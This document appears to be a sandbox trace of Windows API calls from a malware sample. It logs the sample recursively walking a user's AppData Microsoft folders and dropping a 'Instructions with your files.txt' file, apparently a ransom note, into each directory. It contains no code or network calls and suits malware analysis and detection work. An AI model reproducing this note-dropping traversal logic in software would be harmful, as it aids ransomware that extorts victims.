[0131.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\..") returned 69
[0131.457] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.457] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\Instructions with your files.txt") returned 99
[0131.457] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Speech\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\speech\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.460] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.461] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.461] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.461] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.461] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.461] CloseHandle (hObject=0x118) returned 1
[0131.461] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.461] GetProcessHeap () returned 0x810000
[0131.461] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.461] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1
[0131.461] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 78
[0131.461] GetProcessHeap () returned 0x810000
[0131.461] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.461] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned 80
[0131.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.461] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\.") returned 80
[0131.461] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.461] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.462] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\..") returned 81
[0131.462] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.462] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1
[0131.462] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 81
[0131.462] GetProcessHeap () returned 0x810000
[0131.462] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.463] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned 83
[0131.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.463] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\.") returned 83
[0131.463] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.463] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.463] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\..") returned 84
[0131.463] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.463] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1
[0131.463] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 94
[0131.463] GetProcessHeap () returned 0x810000
[0131.463] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.463] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned 96
[0131.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.464] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\.") returned 96
[0131.464] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.464] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.464] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\..") returned 97
[0131.464] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.464] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.464] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\Instructions with your files.txt") returned 127
[0131.464] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.464] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.465] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.465] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.465] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.465] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.465] CloseHandle (hObject=0x120) returned 1
[0131.466] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.466] GetProcessHeap () returned 0x810000
[0131.466] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.466] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1
[0131.466] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 86
[0131.466] GetProcessHeap () returned 0x810000
[0131.466] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.466] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned 88
[0131.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.466] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\.") returned 88
[0131.466] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.466] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.466] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\..") returned 89
[0131.466] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.466] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.466] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\Instructions with your files.txt") returned 119
[0131.466] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.467] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.467] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.467] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.468] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.468] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.468] CloseHandle (hObject=0x120) returned 1
[0131.468] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.468] GetProcessHeap () returned 0x810000
[0131.468] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.468] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1
[0131.468] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 86
[0131.468] GetProcessHeap () returned 0x810000
[0131.468] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.468] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned 88
[0131.468] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.468] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\.") returned 88
[0131.468] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.468] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.468] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\..") returned 89
[0131.468] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.468] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.468] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\Instructions with your files.txt") returned 119
[0131.469] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.469] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.470] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.470] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.470] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.470] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.470] CloseHandle (hObject=0x120) returned 1
[0131.470] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.471] GetProcessHeap () returned 0x810000
[0131.471] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
